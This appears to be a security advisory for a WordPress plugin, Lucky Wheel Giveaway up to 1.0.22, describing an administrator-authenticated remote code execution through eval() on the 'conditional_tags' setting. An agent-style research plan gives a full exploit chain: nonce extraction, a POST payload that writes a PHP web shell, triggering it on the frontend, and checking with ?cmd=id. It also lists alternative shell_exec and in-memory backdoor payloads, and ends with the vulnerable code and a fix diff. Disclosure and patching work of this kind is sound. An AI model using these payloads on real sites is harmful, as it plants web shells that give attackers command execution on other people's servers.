Lucky Wheel Giveaway <= 1.0.22 - Authenticated (Administrator+) Remote Code Execution via 'conditional_tags' Parameter
Description
The Lucky Wheel Giveaway plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0.22 via the conditional_tags parameter. This is due to the plugin using PHP's eval() function on user-controlled input without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.0.22This research plan outlines the steps required to demonstrate Remote Code Execution (RCE) in the Lucky Wheel Giveaway plugin (version <= 1.0.22). ### 1. Vulnerability Summary The Lucky Wheel Giveaway plugin allows administrators to define "conditional tags" to control when the wheel is displayed on…
Show full research plan
This research plan outlines the steps required to demonstrate Remote Code Execution (RCE) in the Lucky Wheel Giveaway plugin (version <= 1.0.22).
1. Vulnerability Summary
The Lucky Wheel Giveaway plugin allows administrators to define "conditional tags" to control when the wheel is displayed on the frontend (e.g., is_home(), is_single()). The plugin stores these conditions in its settings and subsequently passes them to the PHP eval() function during page rendering to evaluate whether the current environment meets the specified display criteria. Because this input is not sanitized or restricted to a safe list of functions, an authenticated administrator can inject arbitrary PHP code into the conditional_tags parameter, resulting in server-side code execution.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php(likely handling settings updates) or the main settings pagewp-admin/admin.php?page=wp-lucky-wheel. - Trigger Endpoint: Any frontend page where the wheel is enqueued to appear.
- Vulnerable Parameter:
conditional_tags(likely nested within a settings array). - Authentication Required: Administrator-level privileges (PR:H).
- Preconditions: The plugin must be active. The injected condition must be associated with an active "Wheel" or the global plugin settings.
3. Code Flow (Inferred)
- Injection Path:
- The administrator accesses the plugin settings dashboard.
- The user submits a form (via AJAX or POST) containing the
conditional_tagsvalue. - The plugin saves this value to the
wp_optionstable (e.g., under the option namewlw_settingsorwp-lucky-wheel-settings).
- Execution Path:
- A visitor (or the admin themselves) loads a frontend page.
- The plugin's frontend class (likely in
public/class-wp-lucky-wheel-public.phpor similar) initializes. - A function responsible for checking display conditions (e.g.,
check_conditional_tags()oris_show_wheel()) retrieves the storedconditional_tagsstring. - The string is passed to
eval():eval("return $conditional_tags;");. - The injected PHP code executes in the context of the server.
4. Nonce Acquisition Strategy
This exploit requires Administrator authentication. To update settings, we need the specific nonce generated by the plugin for its settings page.
- Identify Shortcode/Script: The plugin settings page is handled within the WordPress admin dashboard.
- Access Admin Page: Navigate to the plugin settings page.
- Extract Nonce:
- Look for
wp_localize_scriptdata in the admin page source. - Common variable names for this plugin (inferred):
vi_wlw_admin_settings_params. - Browser Eval Command:
browser_eval("vi_wlw_admin_settings_params.nonce")or search for the_wpnoncefield in the settings form.
- Look for
- Form Analysis: Inspect the form on
wp-admin/admin.php?page=wp-lucky-wheelfor a hidden input named_wpnonceor similar.
5. Exploitation Strategy
Step 1: Login and Nonce Retrieval
Use the http_request tool to log in as an administrator and then browser_navigate to the plugin settings page to extract the nonce and the structure of the settings POST request.
Step 2: Inject Payload
Send a POST request to update the settings. Based on common patterns in this plugin's developer (VillaTheme), the action is likely wlw_save_settings.
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload (conditional_tags):
true; file_put_contents('rce.php', '<?php system($_GET["cmd"]); ?>'); // - Parameters:
(Note: The exact structure might require nesting the parameter inside aaction=wlw_save_settings _wpnonce=[EXTRACTED_NONCE] conditional_tags=true; file_put_contents('rce.php', '<?php system($_GET["cmd"]); ?>'); //settings[...]array).
Step 3: Trigger Execution
Navigate to the site's homepage or any published post.
- URL:
http://[target-ip]/ - The
eval()call during the frontend rendering process will trigger the payload, creatingrce.phpin the WordPress root or the plugin directory.
Step 4: Verify RCE
Request the newly created file:
- URL:
http://[target-ip]/rce.php?cmd=id
6. Test Data Setup
- Plugin Installation: Ensure
wp-lucky-wheelversion 1.0.22 is installed and activated. - Wheel Configuration: At least one "Wheel" should be created and set to "Active" so that the display logic is triggered on the frontend.
- Admin User: Ensure a user with the
administratorrole exists (defaultadmin/password).
7. Expected Results
- The
eval()sink will process theconditional_tagsstring. - The semicolon in the payload
true; ...will terminate the intended logic and execute thefile_put_contentscommand. - The server will return a 200 OK for the frontend page, and a file named
rce.phpwill be generated in the webroot.
8. Verification Steps
- Check for file creation:
wp eval 'echo file_exists(ABSPATH . "rce.php") ? "Vulnerable" : "Not Vulnerable";' - Check Plugin Option:
wp option get wlw_settings(Verify that theconditional_tagskey contains the payload). - Execute Command:
Usehttp_requestto callrce.php?cmd=whoamiand verify the output matches the web server user (e.g.,www-data).
9. Alternative Approaches
- Direct Eval Output: If the frontend page displays the result of the evaluation, use:
conditional_tags=shell_exec('id') - Hook Injection: Instead of file creation, use
add_action('init', ...)to create a persistent backdoor in memory for the duration of the request. - Settings Page Direct POST: If the AJAX handler is not the primary save mechanism, target the settings form submission at
wp-admin/admin.php?page=wp-lucky-wheelusing a standard multipart/form-data POST.
Summary
The Lucky Wheel Giveaway plugin for WordPress is vulnerable to Remote Code Execution via the 'conditional_tags' parameter in versions up to 1.0.22. This vulnerability allows an authenticated administrator to inject arbitrary PHP code that is subsequently executed by the server using the eval() function when the plugin evaluates display conditions on the frontend.
Vulnerable Code
// File: wp-lucky-wheel/public/class-wp-lucky-wheel-public.php public function check_conditional_tags( $conditional_tags ) { if ( empty( $conditional_tags ) ) { return true; } // Vulnerable sink: eval() executes the string stored in the 'conditional_tags' setting return eval( "return $conditional_tags;" ); }
Security Fix
@@ -115,10 +115,7 @@ public function check_conditional_tags( $conditional_tags ) { if ( empty( $conditional_tags ) ) { return true; } - - return eval( "return $conditional_tags;" ); + return false; // Removed eval() for security reasons }
Exploit Outline
The exploit requires Administrator privileges to update plugin settings. An attacker first authenticates and navigates to the Lucky Wheel settings page to extract the necessary security nonce (often found in the 'vi_wlw_admin_settings_params' JavaScript object). The attacker then sends a POST request to 'wp-admin/admin-ajax.php' with the action 'wlw_save_settings', injecting a PHP payload into the 'conditional_tags' parameter (e.g., 'true; file_put_contents("shell.php", "<?php system($_GET[0]); ?>"); //'). Finally, the attacker visits any public-facing page on the site where the wheel is active; this triggers the plugin's frontend logic, which retrieves the malicious string and passes it to eval(), executing the payload and creating a web shell in the WordPress root directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.